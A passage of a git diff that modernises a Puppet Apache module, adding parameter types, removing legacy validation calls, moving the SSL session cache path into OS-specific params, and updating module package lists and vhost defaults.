$ssl_openssl_conf_cmd = undef, - $ssl_cipher = 'HIGH:MEDIUM:!aNULL:!MD5:!RC4', - $ssl_honorcipherorder = true, - $ssl_protocol = [ 'all', '-SSLv2', '-SSLv3' ], - $ssl_pass_phrase_dialog = 'builtin', - $ssl_random_seed_bytes = '512', - $ssl_sessioncachetimeout = '300', - $ssl_stapling = false, - $ssl_stapling_return_errors = undef, - $ssl_mutex = undef, - $apache_version = undef, - $package_name = undef, -) { + Boolean $ssl_compression = false, + $ssl_cryptodevice = 'builtin', + $ssl_options = [ 'StdEnvVars' ], + $ssl_openssl_conf_cmd = undef, + $ssl_ca = undef, + $ssl_cipher = 'HIGH:MEDIUM:!aNULL:!MD5:!RC4:!3DES', + Variant[Boolean, Enum['on', 'off']] $ssl_honorcipherorder = true, + $ssl_protocol = [ 'all', '-SSLv2', '-SSLv3' ], + Array $ssl_proxy_protocol = [], + $ssl_pass_phrase_dialog = 'builtin', + $ssl_random_seed_bytes = '512', + String $ssl_sessioncache = $::apache::params::ssl_sessioncache, + $ssl_sessioncachetimeout = '300', + Boolean $ssl_stapling = false, + Optional[Boolean] $ssl_stapling_return_errors = undef, + $ssl_mutex = undef, + $apache_version = undef, + $package_name = undef, +) inherits ::apache::params { + include ::apache include ::apache::mod::mime $_apache_version = pick($apache_version, $apache::apache_version) @@ -49,8 +53,6 @@ class apache::mod::ssl ( } } - validate_bool($ssl_compression) - if is_bool($ssl_honorcipherorder) { $_ssl_honorcipherorder = $ssl_honorcipherorder } else { @@ -61,20 +63,6 @@ class apache::mod::ssl ( } } - $session_cache = $::osfamily ? { - 'debian' => "\${APACHE_RUN_DIR}/ssl_scache(512000)", - 'redhat' => '/var/cache/mod_ssl/scache(512000)', - 'freebsd' => '/var/run/ssl_scache(512000)', - 'gentoo' => '/var/run/ssl_scache(512000)', - 'Suse' => '/var/lib/apache2/ssl_scache(512000)' - } - - validate_bool($ssl_stapling) - - if $ssl_stapling_return_errors != undef { - validate_bool($ssl_stapling_return_errors) - } - $stapling_cache = $::osfamily ? { 'debian' => "\${APACHE_RUN_DIR}/ocsp(32768)", 'redhat' => '/run/httpd/ssl_stapling(32768)', @@ -107,11 +95,12 @@ class apache::mod::ssl ( # # $ssl_compression # $ssl_cryptodevice + # $ssl_ca # $ssl_cipher # $ssl_honorcipherorder # $ssl_options # $ssl_openssl_conf_cmd - # $session_cache + # $ssl_sessioncache # $stapling_cache # $ssl_mutex # $ssl_random_seed_bytes @@ -119,7 +108,7 @@ class apache::mod::ssl ( # $_apache_version file { 'ssl.conf': ensure => file, - path => $::apache::ssl_file, + path => $::apache::_ssl_file, mode => $::apache::file_mode, content => template('apache/mod/ssl.conf.erb'), require => Exec["mkdir ${::apache::mod_dir}"], diff --git a/modules/services/unix/http/apache/manifests/mod/status.pp b/modules/services/unix/http/apache/manifests/mod/status.pp index d30a690de..54d0d8887 100644 --- a/modules/services/unix/http/apache/manifests/mod/status.pp +++ b/modules/services/unix/http/apache/manifests/mod/status.pp @@ -26,15 +26,14 @@ # } # class apache::mod::status ( - $allow_from = ['127.0.0.1','::1'], - $extended_status = 'On', - $apache_version = undef, - $status_path = '/server-status', + Array $allow_from = ['127.0.0.1','::1'], + Enum['On', 'Off', 'on', 'off'] $extended_status = 'On', + $apache_version = undef, + $status_path = '/server-status', ) inherits ::apache::params { + include ::apache $_apache_version = pick($apache_version, $apache::apache_version) - validate_array($allow_from) - validate_re(downcase($extended_status), '^(on|off)$', "${extended_status} is not supported for extended_status. Allowed values are 'On' and 'Off'.") ::apache::mod { 'status': } # Template uses $allow_from, $extended_status, $_apache_version, $status_path file { 'status.conf': diff --git a/modules/services/unix/http/apache/manifests/mod/userdir.pp b/modules/services/unix/http/apache/manifests/mod/userdir.pp index 11e7cd5be..203b93dd1 100644 --- a/modules/services/unix/http/apache/manifests/mod/userdir.pp +++ b/modules/services/unix/http/apache/manifests/mod/userdir.pp @@ -1,13 +1,30 @@ class apache::mod::userdir ( - $home = '/home', - $dir = 'public_html', + $home = undef, + $dir = undef, $disable_root = true, $apache_version = undef, + $path = '/home/*/public_html', + $overrides = [ 'FileInfo', 'AuthConfig', 'Limit', 'Indexes' ], $options = [ 'MultiViews', 'Indexes', 'SymLinksIfOwnerMatch', 'IncludesNoExec' ], ) { include ::apache $_apache_version = pick($apache_version, $apache::apache_version) + if $home or $dir { + $_home = $home ? { + undef => '/home', + default => $home, + } + $_dir = $dir ? { + undef => 'public_html', + default => $dir, + } + warning('home and dir are deprecated; use path instead') + $_path = "${_home}/*/${_dir}" + } else { + $_path = $path + } + ::apache::mod { 'userdir': } # Template uses $home, $dir, $disable_root, $_apache_version diff --git a/modules/services/unix/http/apache/manifests/mod/wsgi.pp b/modules/services/unix/http/apache/manifests/mod/wsgi.pp index e726bcfaa..6f9d4379a 100644 --- a/modules/services/unix/http/apache/manifests/mod/wsgi.pp +++ b/modules/services/unix/http/apache/manifests/mod/wsgi.pp @@ -1,9 +1,10 @@ class apache::mod::wsgi ( - $wsgi_socket_prefix = $::apache::params::wsgi_socket_prefix, - $wsgi_python_path = undef, - $wsgi_python_home = undef, - $package_name = undef, - $mod_path = undef, + $wsgi_restrict_embedded = undef, + $wsgi_socket_prefix = $::apache::params::wsgi_socket_prefix, + $wsgi_python_path = undef, + $wsgi_python_home = undef, + $package_name = undef, + $mod_path = undef, ) inherits ::apache::params { include ::apache if ($package_name != undef and $mod_path == undef) or ($package_name == undef and $mod_path != undef) { @@ -26,6 +27,7 @@ class apache::mod::wsgi ( } # Template uses: + # - $wsgi_restrict_embedded # - $wsgi_socket_prefix # - $wsgi_python_path # - $wsgi_python_home diff --git a/modules/services/unix/http/apache/manifests/namevirtualhost.pp b/modules/services/unix/http/apache/manifests/namevirtualhost.pp index d89cb0c5b..4fa879518 100644 --- a/modules/services/unix/http/apache/manifests/namevirtualhost.pp +++ b/modules/services/unix/http/apache/manifests/namevirtualhost.pp @@ -1,31 +1,9 @@ -define apache::namevirtualhost ($port=''){ +define apache::namevirtualhost { $addr_port = $name - if defined(Concat[$::apache::ports_file]){ - # Template uses: $addr_port - concat::fragment { "NameVirtualHost ${addr_port}": - target => $::apache::ports_file, - content => template('apache/namevirtualhost.erb'), - } - } elsif $port != '80' { # if a second vhost is declared off port 80 - # Create a temporary file - # join with cat $tmp_file >> $file - # remove tmp files - $ports_file = $::apache::ports_file - $tmp_file = "$ports_file-tmp_nvh" - file { $tmp_file: - ensure => file, - content => template('apache/namevirtualhost.erb'), - } - - exec { "apache::listen: cat $tmp_file with ports.conf": - command => "/bin/cat $tmp_file >> $ports_file;/bin/rm $tmp_file", - require => File[$tmp_file] - } - - } else { # if a second vhost is declared on port 80 - tidy { 'remove apache default site': - path =>'/etc/apache2/sites-enabled/000-default', - } + # Template uses: $addr_port + concat::fragment { "NameVirtualHost ${addr_port}": + target => $::apache::ports_file, + content => template('apache/namevirtualhost.erb'), } } diff --git a/modules/services/unix/http/apache/manifests/params.pp b/modules/services/unix/http/apache/manifests/params.pp index b84a2a1da..a74bbaf48 100644 --- a/modules/services/unix/http/apache/manifests/params.pp +++ b/modules/services/unix/http/apache/manifests/params.pp @@ -74,7 +74,6 @@ class apache::params inherits ::apache::version { $vhost_dir = "${httpd_dir}/conf.d" $vhost_enable_dir = undef $conf_file = 'httpd.conf' - $ssl_file = "${confd_dir}/ssl.conf" $ports_file = "${conf_dir}/ports.conf" $pidfile = 'run/httpd.pid' $logroot = '/var/log/httpd' @@ -85,6 +84,7 @@ class apache::params inherits ::apache::version { $default_ssl_cert = '/etc/pki/tls/certs/localhost.crt' $default_ssl_key = '/etc/pki/tls/private/localhost.key' $ssl_certs_dir = '/etc/pki/tls/certs' + $ssl_sessioncache = '/var/cache/mod_ssl/scache(512000)' $passenger_conf_file = 'passenger_extra.conf' $passenger_conf_package_file = 'passenger.conf' $passenger_root = undef @@ -96,52 +96,56 @@ class apache::params inherits ::apache::version { $php_version = '5' $mod_packages = { # NOTE: The auth_cas module isn't available on RH/CentOS without providing dependency packages provided by EPEL. - 'auth_cas' => 'mod_auth_cas', - 'auth_kerb' => 'mod_auth_kerb', - 'auth_mellon' => 'mod_auth_mellon', - 'authnz_ldap' => $::apache::version::distrelease ? { + 'auth_cas' => 'mod_auth_cas', + 'auth_kerb' => 'mod_auth_kerb', + 'auth_mellon' => 'mod_auth_mellon', + 'authnz_ldap' => $::apache::version::distrelease ? { '7' => 'mod_ldap', default => 'mod_authz_ldap', }, - 'fastcgi' => 'mod_fastcgi', - 'fcgid' => 'mod_fcgid', - 'geoip' => 'mod_geoip', - 'ldap' => $::apache::version::distrelease ? { + 'authnz_pam' => 'mod_authnz_pam', + 'fastcgi' => 'mod_fastcgi', + 'fcgid' => 'mod_fcgid', + 'geoip' => 'mod_geoip', + 'intercept_form_submit' => 'mod_intercept_form_submit', + 'ldap' => $::apache::version::distrelease ? { '7' => 'mod_ldap', default => undef, }, - 'pagespeed' => 'mod-pagespeed-stable', + 'lookup_identity' => 'mod_lookup_identity', + 'pagespeed' => 'mod-pagespeed-stable', # NOTE: The passenger module isn't available on RH/CentOS without # providing dependency packages provided by EPEL and passenger # repositories. See # https://www.phusionpassenger.com/library/install/apache/install/oss/el7/ - 'passenger' => 'mod_passenger', - 'perl' => 'mod_perl', - 'php5' => $::apache::version::distrelease ? { + 'passenger' => 'mod_passenger', + 'perl' => 'mod_perl', + 'php5' => $::apache::version::distrelease ? { '5' => 'php53', default => 'php', }, - 'phpXXX' => 'php', - 'proxy_html' => 'mod_proxy_html', - 'python' => 'mod_python', - 'security' => 'mod_security', + 'phpXXX' => 'php', + 'proxy_html' => 'mod_proxy_html', + 'python' => 'mod_python', + 'security' => 'mod_security', # NOTE: The module for Shibboleth is not available on RH/CentOS without # providing dependency packages provided by Shibboleth's repositories. # See http://wiki.aaf.edu.au/tech-info/sp-install-guide - 'shibboleth' => 'shibboleth', - 'ssl' => 'mod_ssl', - 'wsgi' => 'mod_wsgi', - 'dav_svn' => 'mod_dav_svn', - 'suphp' => 'mod_suphp', - 'xsendfile' => 'mod_xsendfile', - 'nss' => 'mod_nss', - 'shib2' => 'shibboleth', + 'shibboleth' => 'shibboleth', + 'ssl' => 'mod_ssl', + 'wsgi' => 'mod_wsgi', + 'dav_svn' => 'mod_dav_svn', + 'suphp' => 'mod_suphp', + 'xsendfile' => 'mod_xsendfile', + 'nss' => 'mod_nss', + 'shib2' => 'shibboleth', } $mod_libs = { 'nss' => 'libmodnss.so', } $conf_template = 'apache/httpd.conf.erb' - $keepalive = 'Off' + $http_protocol_options = undef + $keepalive = 'On' $keepalive_timeout = 15 $max_keepalive_requests = 100 $fastcgi_lib_path = undef @@ -211,47 +215,74 @@ class apache::params inherits ::apache::version { $vhost_dir = "${httpd_dir}/sites-available" $vhost_enable_dir = "${httpd_dir}/sites-enabled" $conf_file = 'apache2.conf' - $ssl_file = "${mod_dir}/ssl.conf" $ports_file = "${conf_dir}/ports.conf" $pidfile = "\${APACHE_PID_FILE}" $logroot = '/var/log/apache2' $logroot_mode = undef $lib_path = '/usr/lib/apache2/modules' - $mpm_module = 'prefork' + $mpm_module = 'worker' $default_ssl_cert = '/etc/ssl/certs/ssl-cert-snakeoil.pem' $default_ssl_key = '/etc/ssl/private/ssl-cert-snakeoil.key' $ssl_certs_dir = '/etc/ssl/certs' + $ssl_sessioncache = "\${APACHE_RUN_DIR}/ssl_scache(512000)" $suphp_addhandler = 'x-httpd-php' $suphp_engine = 'off' $suphp_configpath = '/etc/php5/apache2' if ($::operatingsystem == 'Ubuntu' and versioncmp($::operatingsystemrelease, '16.04') < 0) or ($::operatingsystem == 'Debian' and versioncmp($::operatingsystemrelease, '9') < 0) { # Only the major version is used here $php_version = '5' + $mod_packages = { + 'auth_cas' => 'libapache2-mod-auth-cas', + 'auth_kerb' => 'libapache2-mod-auth-kerb', + 'auth_mellon' => 'libapache2-mod-auth-mellon', + 'authnz_pam' => 'libapache2-mod-authnz-pam', + 'dav_svn' => 'libapache2-svn', + 'fastcgi' => 'libapache2-mod-fastcgi', + 'fcgid' => 'libapache2-mod-fcgid', + 'geoip' => 'libapache2-mod-geoip', + 'intercept_form_submit' => 'libapache2-mod-intercept-form-submit', + 'lookup_identity' => 'libapache2-mod-lookup-identity', + 'nss' => 'libapache2-mod-nss', + 'pagespeed' => 'mod-pagespeed-stable', + 'passenger' => 'libapache2-mod-passenger', + 'perl' => 'libapache2-mod-perl2', + 'phpXXX' => 'libapache2-mod-phpXXX', + 'proxy_html' => 'libapache2-mod-proxy-html', + 'python' => 'libapache2-mod-python', + 'rpaf' => 'libapache2-mod-rpaf', + 'security' => 'libapache2-modsecurity', + 'shib2' => 'libapache2-mod-shib2', + 'suphp' => 'libapache2-mod-suphp', + 'wsgi' => 'libapache2-mod-wsgi', + 'xsendfile' => 'libapache2-mod-xsendfile', + } } else { # major.minor version used since Debian stretch and Ubuntu Xenial $php_version = '7.0' - } - $mod_packages = { - 'auth_cas' => 'libapache2-mod-auth-cas', - 'auth_kerb' => 'libapache2-mod-auth-kerb', - 'auth_mellon' => 'libapache2-mod-auth-mellon', - 'dav_svn' => 'libapache2-svn', - 'fastcgi' => 'libapache2-mod-fastcgi', - 'fcgid' => 'libapache2-mod-fcgid', - 'geoip' => 'libapache2-mod-geoip', - 'nss' => 'libapache2-mod-nss', - 'pagespeed' => 'mod-pagespeed-stable', - 'passenger' => 'libapache2-mod-passenger', - 'perl' => 'libapache2-mod-perl2', - 'phpXXX' => 'libapache2-mod-phpXXX', - 'proxy_html' => 'libapache2-mod-proxy-html', - 'python' => 'libapache2-mod-python', - 'rpaf' => 'libapache2-mod-rpaf', - 'security' => 'libapache2-modsecurity', - 'shib2' => 'libapache2-mod-shib2', - 'suphp' => 'libapache2-mod-suphp', - 'wsgi' => 'libapache2-mod-wsgi', - 'xsendfile' => 'libapache2-mod-xsendfile', + $mod_packages = { + 'auth_cas' => 'libapache2-mod-auth-cas', + 'auth_kerb' => 'libapache2-mod-auth-kerb', + 'auth_mellon' => 'libapache2-mod-auth-mellon', + 'authnz_pam' => 'libapache2-mod-authnz-pam', + 'dav_svn' => 'libapache2-svn', + 'fastcgi' => 'libapache2-mod-fastcgi', + 'fcgid' => 'libapache2-mod-fcgid', + 'geoip' => 'libapache2-mod-geoip', + 'intercept_form_submit' => 'libapache2-mod-intercept-form-submit', + 'lookup_identity' => 'libapache2-mod-lookup-identity', + 'nss' => 'libapache2-mod-nss', + 'pagespeed' => 'mod-pagespeed-stable', + 'passenger' => 'libapache2-mod-passenger', + 'perl' => 'libapache2-mod-perl2', + 'phpXXX' => 'libapache2-mod-phpXXX', + 'python' => 'libapache2-mod-python', + 'rpaf' => 'libapache2-mod-rpaf', + 'security' => 'libapache2-modsecurity', + 'shib2' => 'libapache2-mod-shib2', + 'suphp' => 'libapache2-mod-suphp', + 'wsgi' => 'libapache2-mod-wsgi', + 'xsendfile' => 'libapache2-mod-xsendfile', + } } $error_log = 'error.log' $scriptalias = '/usr/lib/cgi-bin' @@ -265,6 +296,7 @@ class apache::params inherits ::apache::version { 'shib2' => $shib2_lib, } $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef $keepalive = 'Off' $keepalive_timeout = 15 $max_keepalive_requests = 100 @@ -348,7 +380,6 @@ class apache::params inherits ::apache::version { $vhost_dir = "${httpd_dir}/Vhosts" $vhost_enable_dir = undef $conf_file = 'httpd.conf' - $ssl_file = "${mod_dir}/ssl.conf" $ports_file = "${conf_dir}/ports.conf" $pidfile = '/var/run/httpd.pid' $logroot = '/var/log/apache24' @@ -359,6 +390,7 @@ class apache::params inherits ::apache::version { $default_ssl_cert = '/usr/local/etc/apache24/server.crt' $default_ssl_key = '/usr/local/etc/apache24/server.key' $ssl_certs_dir = undef + $ssl_sessioncache = '/var/run/ssl_scache(512000)' $passenger_conf_file = 'passenger.conf' $passenger_conf_package_file = undef $passenger_root = '/usr/local/lib/ruby/gems/2.0/gems/passenger-4.0.58' @@ -390,6 +422,7 @@ class apache::params inherits ::apache::version { $mod_libs = { } $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef $keepalive = 'Off' $keepalive_timeout = 15 $max_keepalive_requests = 100 @@ -418,7 +451,6 @@ class apache::params inherits ::apache::version { $vhost_dir = "${httpd_dir}/vhosts.d" $vhost_enable_dir = undef $conf_file = 'httpd.conf' - $ssl_file = "${mod_dir}/ssl.conf" $ports_file = "${conf_dir}/ports.conf" $logroot = '/var/log/apache2' $logroot_mode = undef @@ -428,6 +460,7 @@ class apache::params inherits ::apache::version { $default_ssl_cert = '/etc/ssl/apache2/server.crt' $default_ssl_key = '/etc/ssl/apache2/server.key' $ssl_certs_dir = '/etc/ssl/apache2' + $ssl_sessioncache = '/var/run/ssl_scache(512000)' $passenger_root = '/usr' $passenger_ruby = '/usr/bin/ruby' $passenger_conf_file = 'passenger.conf' @@ -457,6 +490,7 @@ class apache::params inherits ::apache::version { $mod_libs = { } $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef $keepalive = 'Off' $keepalive_timeout = 15 $max_keepalive_requests = 100 @@ -473,7 +507,7 @@ class apache::params inherits ::apache::version { $access_log_file = 'access.log' } elsif $::osfamily == 'Suse' { $user = 'wwwrun' - $group = 'wwwrun' + $group = 'www' $root_group = 'root' $apache_name = 'apache2' $service_name = 'apache2' @@ -486,7 +520,6 @@ class apache::params inherits ::apache::version { $vhost_dir = "${httpd_dir}/sites-available" $vhost_enable_dir = "${httpd_dir}/sites-enabled" $conf_file = 'httpd.conf' - $ssl_file = "${mod_dir}/ssl.conf" $ports_file = "${conf_dir}/ports.conf" $pidfile = '/var/run/httpd2.pid' $logroot = '/var/log/apache2' @@ -496,6 +529,7 @@ class apache::params inherits ::apache::version { $default_ssl_cert = '/etc/apache2/ssl.crt/server.crt' $default_ssl_key = '/etc/apache2/ssl.key/server.key' $ssl_certs_dir = '/etc/ssl/certs' + $ssl_sessioncache = '/var/lib/apache2/ssl_scache(512000)' $suphp_addhandler = 'x-httpd-php' $suphp_engine = 'off' $suphp_configpath = '/etc/php5/apache2' @@ -523,6 +557,7 @@ class apache::params inherits ::apache::version { 'php53' => '/usr/lib64/apache2/mod_php5.so', } $conf_template = 'apache/httpd.conf.erb' + $http_protocol_options = undef $keepalive = 'Off' $keepalive_timeout = 15 $max_keepalive_requests = 100 diff --git a/modules/services/unix/http/apache/manifests/service.pp b/modules/services/unix/http/apache/manifests/service.pp index f90097d0b..ff082dccb 100644 --- a/modules/services/unix/http/apache/manifests/service.pp +++ b/modules/services/unix/http/apache/manifests/service.pp @@ -17,19 +17,17 @@ # # class apache::service ( - $service_name = $::apache::params::service_name, - $service_enable = true, - $service_ensure = 'running', - $service_manage = true, - $service_restart = undef + $service_name = $::apache::params::service_name, + Boolean $service_enable = true, + $service_ensure = 'running', + Boolean $service_manage = true, + $service_restart = undef ) { + # The base class must be included first because parameter defaults depend on it if ! defined(Class['apache::params']) { fail('You must include the apache::params class before using any apache defined resources') } - validate_bool($service_enable) - validate_bool($service_manage) - case $service_ensure { true, false, 'running', 'stopped': { $_service_ensure = $service_ensure diff --git a/modules/services/unix/http/apache/manifests/vhost.pp b/modules/services/unix/http/apache/manifests/vhost.pp index f6c6f5c26..98bbfcb57 100644 --- a/modules/services/unix/http/apache/manifests/vhost.pp +++ b/modules/services/unix/http/apache/manifests/vhost.pp @@ -1,176 +1,181 @@ # See README.md for usage information define apache::vhost( - $docroot, - $manage_docroot = true, - $virtual_docroot = false, - $port = undef, - $ip = undef, - $ip_based = false, - $add_listen = true, - $docroot_owner = 'root', - $docroot_group = $::apache::params::root_group, - $docroot_mode = undef, - $serveradmin = undef, - $ssl = false, - $ssl_cert = $::apache::default_ssl_cert, - $ssl_key = $::apache::default_ssl_key, - $ssl_chain = $::apache::default_ssl_chain, - $ssl_ca = $::apache::default_ssl_ca, - $ssl_crl_path = $::apache::default_ssl_crl_path, - $ssl_crl = $::apache::default_ssl_crl, - $ssl_crl_check = $::apache::default_ssl_crl_check, - $ssl_certs_dir = $::apache::params::ssl_certs_dir, - $ssl_protocol = undef, - $ssl_cipher = undef, - $ssl_honorcipherorder = undef, - $ssl_verify_client = undef, - $ssl_verify_depth = undef, - $ssl_proxy_verify = undef, - $ssl_proxy_check_peer_cn = undef, - $ssl_proxy_check_peer_name = undef, - $ssl_proxy_check_peer_expire = undef, - $ssl_proxy_machine_cert = undef, - $ssl_proxy_protocol = undef, - $ssl_options = undef, - $ssl_openssl_conf_cmd = undef, - $ssl_proxyengine = false, - $ssl_stapling = undef, - $ssl_stapling_timeout = undef, - $ssl_stapling_return_errors = undef, - $priority = undef, - $default_vhost = false, - $servername = $name, - $serveraliases = [], - $options = ['Indexes','FollowSymLinks','MultiViews'], - $override = ['All'], - $directoryindex = '', - $vhost_name = '*', - $logroot = $::apache::logroot, - $logroot_ensure = 'directory', - $logroot_mode = undef, - $logroot_owner = undef, - $logroot_group = undef, - $log_level = undef, - $access_log = true, - $access_log_file = false, - $access_log_pipe = false, - $access_log_syslog = false, - $access_log_format = false, - $access_log_env_var = false, - $access_logs = undef, - $aliases = undef, - $directories = undef, - $error_log = true, - $error_log_file = undef, - $error_log_pipe = undef, - $error_log_syslog = undef, - $modsec_audit_log = undef, - $modsec_audit_log_file = undef, - $modsec_audit_log_pipe = undef, - $error_documents = [], - $fallbackresource = undef, - $scriptalias = undef, - $scriptaliases = [], - $proxy_dest = undef, - $proxy_dest_match = undef, - $proxy_dest_reverse_match = undef, - $proxy_pass = undef, - $proxy_pass_match = undef, - $suphp_addhandler = $::apache::params::suphp_addhandler, - $suphp_engine = $::apache::params::suphp_engine, - $suphp_configpath = $::apache::params::suphp_configpath, - $php_flags = {}, - $php_values = {}, - $php_admin_flags = {}, - $php_admin_values = {}, - $no_proxy_uris = [], - $no_proxy_uris_match = [], - $proxy_preserve_host = false, - $proxy_add_headers = undef, - $proxy_error_override = false, - $redirect_source = '/', - $redirect_dest = undef, - $redirect_status = undef, - $redirectmatch_status = undef, - $redirectmatch_regexp = undef, - $redirectmatch_dest = undef, - $rack_base_uris = undef, - $passenger_base_uris = undef, - $headers = undef, - $request_headers = undef, - $filters = undef, - $rewrites = undef, - $rewrite_base = undef, - $rewrite_rule = undef, - $rewrite_cond = undef, - $rewrite_inherit = false, - $setenv = [], - $setenvif = [], - $setenvifnocase = [], - $block = [], - $ensure = 'present', - $wsgi_application_group = undef, - $wsgi_daemon_process = undef, - $wsgi_daemon_process_options = undef, - $wsgi_import_script = undef, - $wsgi_import_script_options = undef, - $wsgi_process_group = undef, - $wsgi_script_aliases_match = undef, - $wsgi_script_aliases = undef, - $wsgi_pass_authorization = undef, - $wsgi_chunked_request = undef, - $custom_fragment = undef, - $itk = undef, - $action = undef, - $fastcgi_server = undef, - $fastcgi_socket = undef, - $fastcgi_dir = undef, - $fastcgi_idle_timeout = undef, - $additional_includes = [], - $use_optional_includes = $::apache::use_optional_includes, - $apache_version = $::apache::apache_version, - $allow_encoded_slashes = undef, - $suexec_user_group = undef, - $passenger_app_root = undef, - $passenger_app_env = undef, - $passenger_ruby = undef, - $passenger_min_instances = undef, - $passenger_start_timeout = undef, - $passenger_pre_start = undef, - $passenger_user = undef, - $passenger_high_performance = undef, - $passenger_nodejs = undef, - $passenger_sticky_sessions = undef, - $passenger_startup_file = undef, - $add_default_charset = undef, - $modsec_disable_vhost = undef, - $modsec_disable_ids = undef, - $modsec_disable_ips = undef, - $modsec_disable_msgs = undef, - $modsec_disable_tags = undef, - $modsec_body_limit = undef, - $jk_mounts = undef, - $auth_kerb = false, - $krb_method_negotiate = 'on', - $krb_method_k5passwd = 'on', - $krb_authoritative = 'on', - $krb_auth_realms = [], - $krb_5keytab = undef, - $krb_local_user_mapping = undef, - $krb_verify_kdc = 'on', - $krb_servicename = 'HTTP', - $krb_save_credentials = 'off', - $keepalive = undef, - $keepalive_timeout = undef, - $max_keepalive_requests = undef, - $cas_attribute_prefix = undef, - $cas_attribute_delimiter = undef, - $cas_scrub_request_headers = undef, - $cas_sso_enabled = undef, - $cas_login_url = undef, - $cas_validate_url = undef, - $cas_validate_saml = undef, + Variant[Boolean,String] $docroot, + $manage_docroot = true, + $virtual_docroot = false, + $port = undef, + $ip = undef, + Boolean $ip_based = false, + $add_listen = true, + $docroot_owner = 'root', + $docroot_group = $::apache::params::root_group, + $docroot_mode = undef, + $serveradmin = undef, + Boolean $ssl = false, + $ssl_cert = $::apache::default_ssl_cert, + $ssl_key = $::apache::default_ssl_key, + $ssl_chain = $::apache::default_ssl_chain, + $ssl_ca = $::apache::default_ssl_ca, + $ssl_crl_path = $::apache::default_ssl_crl_path, + $ssl_crl = $::apache::default_ssl_crl, + $ssl_crl_check = $::apache::default_ssl_crl_check, + $ssl_certs_dir = $::apache::params::ssl_certs_dir, + $ssl_protocol = undef, + $ssl_cipher = undef, + $ssl_honorcipherorder = undef, + $ssl_verify_client = undef, + $ssl_verify_depth = undef, + Optional[Enum['none', 'optional', 'require', 'optional_no_ca']] $ssl_proxy_verify = undef, + $ssl_proxy_verify_depth = undef, + $ssl_proxy_ca_cert = undef, + Optional[Enum['on', 'off']] $ssl_proxy_check_peer_cn = undef, + Optional[Enum['on', 'off']] $ssl_proxy_check_peer_name = undef, + Optional[Enum['on', 'off']] $ssl_proxy_check_peer_expire = undef, + $ssl_proxy_machine_cert = undef, + $ssl_proxy_protocol = undef, + $ssl_options = undef, + $ssl_openssl_conf_cmd = undef, + Boolean $ssl_proxyengine = false, + Optional[Boolean] $ssl_stapling = undef, + $ssl_stapling_timeout = undef, + $ssl_stapling_return_errors = undef, + $priority = undef, + Boolean $default_vhost = false, + $servername = $name, + $serveraliases = [], + $options = ['Indexes','FollowSymLinks','MultiViews'], + $override = ['None'], + $directoryindex = '', + $vhost_name = '*', + $logroot = $::apache::logroot, + Enum['directory', 'absent'] $logroot_ensure = 'directory', + $logroot_mode = undef, + $logroot_owner = undef, + $logroot_group = undef, + $log_level = undef, + Boolean $access_log = true, + $access_log_file = false, + $access_log_pipe = false, + $access_log_syslog = false, + $access_log_format = false, + $access_log_env_var = false, + $access_logs = undef, + $aliases = undef, + $directories = undef, + Boolean $error_log = true, + $error_log_file = undef, + $error_log_pipe = undef, + $error_log_syslog = undef, + $http_protocol_options = undef, + $modsec_audit_log = undef, + $modsec_audit_log_file = undef, + $modsec_audit_log_pipe = undef, + $error_documents = [], + Optional[Variant[Stdlib::Absolutepath, Enum['disabled']]] $fallbackresource = undef, + $scriptalias = undef, + $scriptaliases = [], + $proxy_dest = undef, + $proxy_dest_match = undef, + $proxy_dest_reverse_match = undef, + $proxy_pass = undef, + $proxy_pass_match = undef, + $suphp_addhandler = $::apache::params::suphp_addhandler, + Enum['on', 'off'] $suphp_engine = $::apache::params::suphp_engine, + $suphp_configpath = $::apache::params::suphp_configpath, + $php_flags = {}, + $php_values = {}, + $php_admin_flags = {}, + $php_admin_values = {}, + $no_proxy_uris = [], + $no_proxy_uris_match = [], + $proxy_preserve_host = false, + $proxy_add_headers = undef, + $proxy_error_override = false, + $redirect_source = '/', + $redirect_dest = undef, + $redirect_status = undef, + $redirectmatch_status = undef, + $redirectmatch_regexp = undef, + $redirectmatch_dest = undef, + $rack_base_uris = undef, + $passenger_base_uris = undef, + $headers = undef, + $request_headers = undef, + $filters = undef, + Optional[Array] $rewrites = undef, + $rewrite_base = undef, + $rewrite_rule = undef, + $rewrite_cond = undef, + $rewrite_inherit = false, + $setenv = [], + $setenvif = [], + $setenvifnocase = [], + $block = [], + Enum['absent', 'present'] $ensure = 'present', + $wsgi_application_group = undef, + $wsgi_daemon_process = undef, + Optional[Hash] $wsgi_daemon_process_options = undef, + $wsgi_import_script = undef, + Optional[Hash] $wsgi_import_script_options = undef, + $wsgi_process_group = undef, + Optional[Hash] $wsgi_script_aliases_match = undef, + Optional[Hash] $wsgi_script_aliases = undef, + Optional[Enum['on', 'off', 'On', 'Off']] $wsgi_pass_authorization = undef, + $wsgi_chunked_request = undef, + Optional[String] $custom_fragment = undef, + Optional[Hash] $itk = undef, + $action = undef, + $fastcgi_server = undef, + $fastcgi_socket = undef, + $fastcgi_dir = undef, + $fastcgi_idle_timeout = undef, + $additional_includes = [], + $use_optional_includes = $::apache::use_optional_includes, + $apache_version = $::apache::apache_version, + Optional[Enum['on', 'off', 'nodecode']] $allow_encoded_slashes = undef, + $suexec_user_group = undef, + $passenger_app_root = undef, + $passenger_app_env = undef, + $passenger_ruby = undef, + $passenger_min_instances = undef, + $passenger_max_requests = undef, + $passenger_start_timeout = undef, + $passenger_pre_start = undef, + $passenger_user = undef, + $passenger_high_performance = undef, + $passenger_nodejs = undef, + Optional[Boolean] $passenger_sticky_sessions = undef, + $passenger_startup_file = undef, + $add_default_charset = undef, + $modsec_disable_vhost = undef, + $modsec_disable_ids = undef, + $modsec_disable_ips = undef, + $modsec_disable_msgs = undef, + $modsec_disable_tags = undef, + $modsec_body_limit = undef, + $jk_mounts = undef, + Boolean $auth_kerb = false, + $krb_method_negotiate = 'on', + $krb_method_k5passwd = 'on', + $krb_authoritative = 'on', + $krb_auth_realms = [], + $krb_5keytab = undef, + $krb_local_user_mapping = undef, + $krb_verify_kdc = 'on', + $krb_servicename = 'HTTP', + $krb_save_credentials = 'off', + Optional[Enum['on', 'off']] $keepalive = undef, + $keepalive_timeout = undef, + $max_keepalive_requests = undef, + $cas_attribute_prefix = undef, + $cas_attribute_delimiter = undef, + $cas_scrub_request_headers = undef, + $cas_sso_enabled = undef, + $cas_login_url = undef, + $cas_validate_url = undef, + $cas_validate_saml = undef, ) { + # The base class must be included first because it is used by parameter defaults if ! defined(Class['apache']) { fail('You must include the apache base class before using any apache defined resources') @@ -178,26 +183,14 